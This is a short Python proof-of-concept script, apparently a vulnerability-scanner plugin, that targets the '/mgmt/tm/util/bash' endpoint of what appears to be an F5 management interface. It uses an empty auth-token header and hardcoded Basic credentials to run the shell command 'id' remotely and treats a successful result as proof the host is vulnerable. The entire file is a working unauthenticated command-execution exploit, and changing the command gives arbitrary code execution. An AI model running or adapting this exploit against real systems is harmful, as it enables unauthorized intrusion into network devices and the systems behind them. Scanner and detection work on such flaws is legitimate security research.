#!/usr/bin/python3

from lib.core.Request import request
from plugin.target_parse import get_standard_url
import json

def poc(url):
    url = get_standard_url(url)
    path = url+"/mgmt/tm/util/bash"
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0',
        'Content-Type': 'application/json',
        'X-F5-Auth-Token': '',
        'Authorization': 'Basic YWRtaW46QVNhc1M='
    }

    data = json.dumps({'command': 'run' , 'utilCmdArgs': '-c id'})
    try:
        r = request.post(url=path, data=data, headers=headers, verify=False, timeout=5)
        if r.status_code == 200 and 'commandResult' in r.text:
            return True     
    except Exception as e:
        print(e)
    return False